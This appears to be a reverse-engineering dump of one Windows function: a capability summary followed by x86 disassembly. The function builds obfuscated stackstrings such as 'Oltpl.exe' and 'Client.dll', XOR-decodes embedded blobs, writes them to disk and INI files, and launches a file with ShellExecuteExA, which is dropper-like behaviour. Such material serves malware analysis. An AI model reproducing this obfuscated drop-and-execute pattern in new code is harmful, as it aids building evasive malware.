Function at 0x4010c0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get common file path
Get program files directory
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40edd6
mov eax, dword fs:[0]
push eax
sub esp, 0x380
mov eax, dword [0x413090]
xor eax, esp
mov dword [esp + 0x378], eax
push ebx
push esi
push edi
mov eax, dword [0x413090]
xor eax, esp
push eax
lea eax, [esp + 0x390]
mov dword fs:[0], eax
xor ebx, ebx
mov edi, 0xf
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
mov dword [esp + 0x398], ebx
mov dl, 0x65
mov cl, 0x4f
mov al, 0x6c
mov byte [esp + 0x11c], cl
mov byte [esp + 0x12c], cl
mov cl, 0x6e
mov byte [esp + 0x132], dl
mov byte [esp + 0x134], dl
mov byte [esp + 0x166], cl
mov byte [esp + 0x168], cl
mov byte [esp + 0x16f], dl
mov byte [esp + 0x171], dl
mov byte [esp + 0x15b], cl
mov byte [esp + 0x161], cl
mov byte [esp + 0x126], cl
mov byte [esp + 0x144], dl
mov byte [esp + 0x146], cl
mov byte [esp + 0x149], dl
mov cl, 0x6d
mov dl, 0x64
mov byte [esp + 0x11d], al
mov byte [esp + 0x11e], 0x74
mov byte [esp + 0x11f], 0x70
mov byte [esp + 0x120], al
mov byte [esp + 0x121], bl
mov byte [esp + 0x12d], al
mov byte [esp + 0x12e], 0x74
mov byte [esp + 0x12f], 0x70
mov byte [esp + 0x130], al
mov byte [esp + 0x131], 0x2e
mov byte [esp + 0x133], 0x78
mov byte [esp + 0x135], bl
mov byte [esp + 0x138], 0x43
mov byte [esp + 0x139], al
mov byte [esp + 0x13a], 0x63
mov byte [esp + 0x13b], 0x6f
mov byte [esp + 0x13c], 0x74
mov byte [esp + 0x13d], bl
mov byte [esp + 0x164], 0x5c
mov byte [esp + 0x165], 0x55
mov byte [esp + 0x167], 0x49
mov byte [esp + 0x169], 0x73
mov byte [esp + 0x16a], 0x74
mov byte [esp + 0x16b], 0x61
mov byte [esp + 0x16c], al
mov byte [esp + 0x16d], al
mov byte [esp + 0x16e], 0x2e
mov byte [esp + 0x170], 0x78
mov byte [esp + 0x172], bl
mov byte [esp + 0x158], 0x5c
mov byte [esp + 0x159], 0x43
mov byte [esp + 0x15a], 0x6f
mov byte [esp + 0x15c], 0x66
mov byte [esp + 0x15d], 0x69
mov byte [esp + 0x15e], 0x67
mov byte [esp + 0x15f], 0x2e
mov byte [esp + 0x160], 0x69
mov byte [esp + 0x162], 0x69
mov byte [esp + 0x163], bl
mov byte [esp + 0x124], 0x43
mov byte [esp + 0x125], 0x6f
mov byte [esp + 0x127], 0x66
mov byte [esp + 0x128], 0x69
mov byte [esp + 0x129], 0x67
mov byte [esp + 0x12a], bl
mov byte [esp + 0x140], 0x50
mov byte [esp + 0x141], 0x61
mov byte [esp + 0x142], 0x63
mov byte [esp + 0x143], 0x6b
mov byte [esp + 0x145], 0x74
mov byte [esp + 0x147], 0x61
mov byte [esp + 0x148], cl
mov byte [esp + 0x14a], bl
mov byte [esp + 0x18], dl
push 0x103
mov byte [esp + 0x154], al
lea eax, [esp + 0x281]
push ebx
push eax
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], bl
mov byte [esp + 0x158], 0x5c
mov byte [esp + 0x159], 0x70
mov byte [esp + 0x15a], 0x70
mov byte [esp + 0x15b], 0x74
mov byte [esp + 0x15d], 0x63
mov byte [esp + 0x15e], cl
mov byte [esp + 0x15f], 0x2e
mov byte [esp + 0x160], 0x73
mov byte [esp + 0x161], 0x79
mov byte [esp + 0x162], 0x73
mov byte [esp + 0x163], bl
mov byte [esp + 0x288], bl
call fcn.00407280
add esp, 0xc
push ebx
push 0x26
lea ecx, [esp + 0x284]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
mov byte [esp + 0x13], 0x43
lea esp, [esp]
push 0x103
lea edx, [esp + 0x179]
push ebx
push edx
mov byte [esp + 0x180], bl
call fcn.00407280
movsx edx, byte [esp + 0x1f]
add esp, 0xc
lea eax, [esp + 0x11c]
push eax
lea ecx, [esp + 0x283]
push ecx
push edx
lea eax, [esp + 0x180]
push str._c:_s_s
push eax
call fcn.004048c8
add esp, 0x14
lea ecx, [esp + 0x174]
push ecx
call esi
test eax, eax
jne 0x401439
mov al, byte [esp + 0x13]
inc al
cmp al, 0x5a
mov byte [esp + 0x13], al
jle 0x4013d0
jmp 0x401525
lea eax, [esp + 0x174]
mov dword [esp + 0x88], edi
mov dword [esp + 0x84], ebx
mov byte [esp + 0x74], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401455
sub eax, edx
push eax
lea edx, [esp + 0x178]
push edx
lea ecx, [esp + 0x78]
call fcn.00402000
lea eax, [esp + 0x70]
push eax
mov edi, 0x410bf8
lea esi, [esp + 0x20]
mov byte [esp + 0x39c], 1
call fcn.00402340
add esp, 4
push eax
lea edi, [esp + 0x130]
lea esi, [esp + 0x3c]
mov byte [esp + 0x39c], 2
call fcn.00402340
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x60]
mov byte [esp + 0x3a4], 3
call fcn.00401f10
cmp dword [esp + 0x50], 0x10
jb 0x4014d3
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00404a67
add esp, 4
mov esi, 0x10
mov edi, 0xf
mov dword [esp + 0x50], edi
mov dword [esp + 0x4c], ebx
mov byte [esp + 0x3c], bl
cmp dword [esp + 0x34], esi
jb 0x4014fc
mov edx, dword [esp + 0x20]
push edx
call fcn.00404a67
add esp, 4
mov byte [esp + 0x398], bl
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
cmp dword [esp + 0x88], esi
jb 0x401525
mov eax, dword [esp + 0x74]
push eax
call fcn.00404a67
add esp, 4
xor eax, eax
cmp dword [esp + 0x68], ebx
setne al
cmp eax, ebx
jne 0x4016a0
mov byte [esp + 0x13], 0x44
jmp 0x401540
push 0x103
lea ecx, [esp + 0x179]
push ebx
push ecx
mov byte [esp + 0x180], bl
call fcn.00407280
movsx ecx, byte [esp + 0x1f]
add esp, 0xc
lea edx, [esp + 0x11c]
push edx
lea eax, [esp + 0x283]
push eax
push ecx
lea edx, [esp + 0x180]
push str._c:_s_s
push edx
call fcn.004048c8
add esp, 0x14
lea ecx, [esp + 0x174]
call fcn.00402940
test al, al
jne 0x4015ab
mov al, byte [esp + 0x13]
dec al
cmp al, 0x43
mov byte [esp + 0x13], al
jge 0x401540
jmp 0x4016a0
lea eax, [esp + 0x174]
mov dword [esp + 0x88], 0xf
mov dword [esp + 0x84], ebx
mov byte [esp + 0x74], bl
lea esi, [eax + 1]
jmp 0x4015d0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4015d0
sub eax, esi
push eax
lea eax, [esp + 0x178]
push eax
lea ecx, [esp + 0x78]
call fcn.00402000
lea ecx, [esp + 0x70]
push ecx
mov edi, 0x410bf8
lea esi, [esp + 0x3c]
mov byte [esp + 0x39c], 4
call fcn.00402340
add esp, 4
push eax
lea edi, [esp + 0x130]
lea esi, [esp + 0x20]
mov byte [esp + 0x39c], 5
call fcn.00402340
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x60]
mov byte [esp + 0x3a4], 6
call fcn.00401f10
cmp dword [esp + 0x34], 0x10
jb 0x40164e
mov edx, dword [esp + 0x20]
push edx
call fcn.00404a67
add esp, 4
mov esi, 0x10
mov edi, 0xf
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
cmp dword [esp + 0x50], esi
jb 0x401677
mov eax, dword [esp + 0x3c]
push eax
call fcn.00404a67
add esp, 4
mov byte [esp + 0x398], bl
mov dword [esp + 0x50], edi
mov dword [esp + 0x4c], ebx
mov byte [esp + 0x3c], bl
cmp dword [esp + 0x88], esi
jb 0x4016a0
mov ecx, dword [esp + 0x74]
push ecx
call fcn.00404a67
add esp, 4
xor eax, eax
cmp dword [esp + 0x68], ebx
setne al
cmp eax, ebx
jne 0x4016c2
cmp dword [esp + 0x6c], 0x10
jb 0x401e14
mov edx, dword [esp + 0x58]
push edx
jmp 0x401e0c
mov dword [esp + 0x9c], 0xf
mov dword [esp + 0x98], ebx
mov byte [esp + 0x88], bl
lea ecx, [esp + 0x70]
mov byte [esp + 0x398], 7
call fcn.00403180
cmp byte [esp + 0x80], bl
je 0x401702
mov dword [esp + 0x14], 0x415308
jmp 0x4017af
mov esi, dword [esp + 0x98]
mov eax, esi
cmp esi, 2
jb 0x401715
mov eax, 2
mov edi, dword [esp + 0x9c]
mov edx, dword [esp + 0x88]
cmp edi, 0x10
jae 0x40172f
lea edx, [esp + 0x88]
mov ecx, 0x410bfc
call fcn.00401040
cmp eax, ebx
jne 0x40174e
cmp esi, 2
jb 0x40174e
xor eax, eax
cmp esi, 2
setne al
cmp eax, ebx
je 0x40178c
mov eax, esi
cmp esi, 4
jb 0x40175a
mov eax, 4
mov edx, dword [esp + 0x88]
cmp edi, 0x10
jae 0x40176d
lea edx, [esp + 0x88]
mov ecx, str.2003
call fcn.00401040
cmp eax, ebx
jne 0x401794
cmp esi, 4
jb 0x401794
xor eax, eax
cmp esi, 4
setne al
cmp eax, ebx
jne 0x401794
mov dword [esp + 0x14], 0x41c568
cmp dword [esp + 0x78], 6
jb 0x4017a5
mov dword [esp + 0x14], 0x41c568
jmp 0x4017af
cmp dword [esp + 0x14], ebx
je 0x401842
cmp dword [esp + 0x6c], 0x10
mov esi, dword [esp + 0x58]
jae 0x4017be
lea esi, [esp + 0x58]
lea edi, [esp + 0x1c]
call fcn.00402880
push eax
lea edi, [esp + 0x150]
lea esi, [esp + 0x3c]
mov byte [esp + 0x39c], 8
call fcn.00402340
add esp, 4
mov byte [esp + 0x398], 0xa
cmp dword [esp + 0x34], 0x10
jb 0x4017ff
mov eax, dword [esp + 0x20]
push eax
call fcn.00404a67
add esp, 4
mov eax, dword [esp + 0x3c]
mov esi, 0x10
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
cmp dword [esp + 0x50], esi
jae 0x401822
lea eax, [esp + 0x3c]
mov edi, dword [esp + 0x14]
push eax
call fcn.00402800
add esp, 4
cmp dword [esp + 0x50], esi
jb 0x401842
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00404a67
add esp, 4
mov esi, 0x10
mov byte [esp + 0x398], bl
cmp dword [esp + 0x9c], esi
jb 0x401867
mov edx, dword [esp + 0x88]
push edx
call fcn.00404a67
add esp, 4
cmp dword [esp + 0x6c], esi
mov esi, dword [esp + 0x58]
jae 0x401875
lea esi, [esp + 0x58]
lea edi, [esp + 0x1c]
call fcn.00402880
push eax
lea edi, [esp + 0x168]
lea esi, [esp + 0xcc]
mov byte [esp + 0x39c], 0xb
call fcn.00402340
add esp, 4
mov byte [esp + 0x398], 0xd
cmp dword [esp + 0x34], 0x10
jb 0x4018b9
mov eax, dword [esp + 0x20]
push eax
call fcn.00404a67
add esp, 4
cmp dword [esp + 0x6c], 0x10
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
jb 0x4018da
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x14], ecx
jmp 0x4018e2
lea edx, [esp + 0x58]
mov dword [esp + 0x14], edx
mov eax, dword [0x4225c9]
movzx edx, byte [0x4225cc]
mov esi, eax
mov ecx, eax
shl esi, 0x10
and ecx, 0xff00
or esi, ecx
shr eax, 8
shl esi, 8
and eax, 0xff00
or esi, eax
or esi, edx
mov dl, byte [0x4225c8]
mov edi, 0x4225cd
jle 0x40192c
mov ecx, esi
jmp 0x401920
mov al, byte [edi]
xor al, dl
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x401920
mov ecx, dword [esp + 0x14]
push esi
push 0x4225cd
call fcn.00402c30
mov cl, byte [0x4225c8]
add esp, 8
cmp esi, ebx
mov edi, 0x4225cd
jle 0x40195c
lea ecx, [ecx]
mov al, byte [edi]
xor al, cl
mov byte [edi], al
inc edi
sub esi, 1
jne 0x401950
cmp dword [esp + 0xe0], 0x10
jb 0x401973
mov eax, dword [esp + 0xcc]
mov dword [esp + 0x14], eax
jmp 0x40197e
lea ecx, [esp + 0xcc]
mov dword [esp + 0x14], ecx
mov eax, dword [0x588521]
mov esi, eax
mov edx, eax
shl esi, 0x10
and edx, 0xff00
or esi, edx
mov dl, byte [0x588520]
shr eax, 8
and eax, 0xff00
shl esi, 8
or esi, eax
movzx eax, byte [0x588524]
or esi, eax
mov edi, 0x588525
jle 0x4019c3
mov ecx, esi
mov al, byte [edi]
xor al, dl
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x4019b7
mov ecx, dword [esp + 0x14]
push esi
push 0x588525
call fcn.00402c30
mov cl, byte [0x588520]
add esp, 8
cmp esi, ebx
mov edi, 0x588525
jle 0x4019f0
mov al, byte [edi]
xor al, cl
mov byte [edi], al
inc edi
sub esi, 1
jne 0x4019e4
cmp dword [esp + 0x6c], 0x10
mov esi, dword [esp + 0x58]
jae 0x4019ff
lea esi, [esp + 0x58]
lea edi, [esp + 0x38]
call fcn.00402880
push eax
mov edi, str.Client.dll
lea esi, [esp + 0xe8]
mov byte [esp + 0x39c], 0xe
call fcn.00402340
add esp, 4
mov byte [esp + 0x398], 0x10
cmp dword [esp + 0x50], 0x10
jb 0x401a41
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00404a67
add esp, 4
cmp dword [esp + 0xfc], 0x10
mov dword [esp + 0x50], 0xf
mov dword [esp + 0x4c], ebx
mov byte [esp + 0x3c], bl
jb 0x401a68
mov edx, dword [esp + 0xe8]
mov dword [esp + 0x14], edx
jmp 0x401a73
lea eax, [esp + 0xe8]
mov dword [esp + 0x14], eax
mov eax, dword [0x59bd29]
movzx edx, byte [0x59bd2c]
mov esi, eax
mov ecx, eax
shl esi, 0x10
and ecx, 0xff00
or esi, ecx
shr eax, 8
shl esi, 8
and eax, 0xff00
or esi, eax
or esi, edx
mov dl, byte [0x59bd28]
mov edi, 0x59bd2d
jle 0x401abc
mov ecx, esi
lea esp, [esp]
mov al, byte [edi]
xor al, dl
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x401ab0
mov ecx, dword [esp + 0x14]
push esi
push 0x59bd2d
call fcn.00402c30
mov cl, byte [0x59bd28]
add esp, 8
cmp esi, ebx
mov edi, 0x59bd2d
jle 0x401aec
lea ecx, [ecx]
mov al, byte [edi]
xor al, cl
mov byte [edi], al
inc edi
sub esi, 1
jne 0x401ae0
cmp dword [esp + 0x6c], 0x10
mov esi, dword [esp + 0x58]
jae 0x401afb
lea esi, [esp + 0x58]
lea edi, [esp + 0x1c]
call fcn.00402880
mov byte [esp + 0x398], 0x11
cmp dword [eax + 0x18], 0x10
jb 0x401b17
mov eax, dword [eax + 4]
jmp 0x401b1a
add eax, 4
mov edx, eax
lea ecx, [esp + 0x138]
call fcn.004034f0
mov esi, 0x10
cmp dword [esp + 0x34], esi
jb 0x401b40
mov eax, dword [esp + 0x20]
push eax
call fcn.00404a67
add esp, 4
mov dword [esp + 0xc4], 0xf
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
mov byte [esp + 0x398], 0x12
cmp dword [esp + 0x6c], esi
mov esi, dword [esp + 0x58]
jae 0x401b6f
lea esi, [esp + 0x58]
lea edi, [esp + 0x1c]
call fcn.00402880
push eax
lea edi, [esp + 0x15c]
lea esi, [esp + 0x104]
mov byte [esp + 0x39c], 0x13
call fcn.00402340
add esp, 4
mov byte [esp + 0x398], 0x15
cmp dword [esp + 0x34], 0x10
jb 0x401bb3
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00404a67
add esp, 4
mov edx, dword [esp + 0x104]
mov esi, 0x10
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
cmp dword [esp + 0x118], esi
jae 0x401bdf
lea edx, [esp + 0x104]
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401be4
sub eax, edi
push eax
push edx
lea ecx, [esp + 0xb4]
call fcn.00402000
lea edi, [esp + 0x38]
call fcn.00402ed0
cmp dword [eax + 0x18], esi
jb 0x401c0e
mov eax, dword [eax + 4]
jmp 0x401c11
add eax, 4
mov ecx, dword [esp + 0xb0]
cmp dword [esp + 0xc4], esi
jae 0x401c28
lea ecx, [esp + 0xb0]
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push ecx
push eax
lea edx, [esp + 0x148]
push edx
lea eax, [esp + 0x130]
push eax
call edi
cmp dword [esp + 0x50], esi
jb 0x401c55
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00404a67
add esp, 4
mov ecx, 5
lea esi, [esp + 0x38]
call fcn.00402e50
mov ecx, dword [esp + 0xb0]
mov esi, 0x10
cmp dword [esp + 0xc4], esi
jae 0x401c7f
lea ecx, [esp + 0xb0]
cmp dword [eax + 0x18], esi
jb 0x401c89
mov eax, dword [eax + 4]
jmp 0x401c8c
add eax, 4
push ecx
push eax
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x130]
push eax
call edi
cmp dword [esp + 0x50], esi
jb 0x401cb0
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00404a67
add esp, 4
cmp dword [esp + 0x6c], esi
mov esi, dword [esp + 0x58]
jae 0x401cbe
lea esi, [esp + 0x58]
push 0x3c
lea edx, [esp + 0x74]
push ebx
push edx
call fcn.00407280
add esp, 0xc
lea edi, [esp + 0x38]
mov dword [esp + 0x70], 0x3c
mov dword [esp + 0x74], 0x40
mov dword [esp + 0x7c], str.open
mov dword [esp + 0x80], esi
mov dword [esp + 0x8c], 1
mov dword [esp + 0x84], 0x410bfa
call fcn.00402880
cmp dword [eax + 0x18], 0x10
jb 0x401d17
mov eax, dword [eax + 4]
jmp 0x401d1a
add eax, 4
mov esi, 0x10
mov dword [esp + 0x88], eax
cmp dword [esp + 0x50], esi
jb 0x401d39
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.00404a67
add esp, 4
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
cmp dword [esp + 0x118], esi
jb 0x401d5d
mov eax, dword [esp + 0x104]
push eax
call fcn.00404a67
add esp, 4
mov edi, 0xf
mov dword [esp + 0x118], edi
mov dword [esp + 0x114], ebx
mov byte [esp + 0x104], bl
cmp dword [esp + 0xc4], esi
jb 0x401d90
mov ecx, dword [esp + 0xb0]
push ecx
call fcn.00404a67
add esp, 4
mov dword [esp + 0xc4], edi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
cmp dword [esp + 0xfc], esi
jb 0x401dbe
mov edx, dword [esp + 0xe8]
push edx
call fcn.00404a67
add esp, 4
mov dword [esp + 0xfc], edi
mov dword [esp + 0xf8], ebx
mov byte [esp + 0xe8], bl
cmp dword [esp + 0xe0], esi
jb 0x401dec
mov eax, dword [esp + 0xcc]
push eax
call fcn.00404a67
add esp, 4
mov dword [esp + 0xe0], edi
mov dword [esp + 0xdc], ebx
mov byte [esp + 0xcc], bl
cmp dword [esp + 0x6c], esi
jb 0x401e14
mov ecx, dword [esp + 0x58]
push ecx
call fcn.00404a67
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x390]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x378]
xor ecx, esp
call fcn.0040485c
mov esp, ebp
pop ebp
ret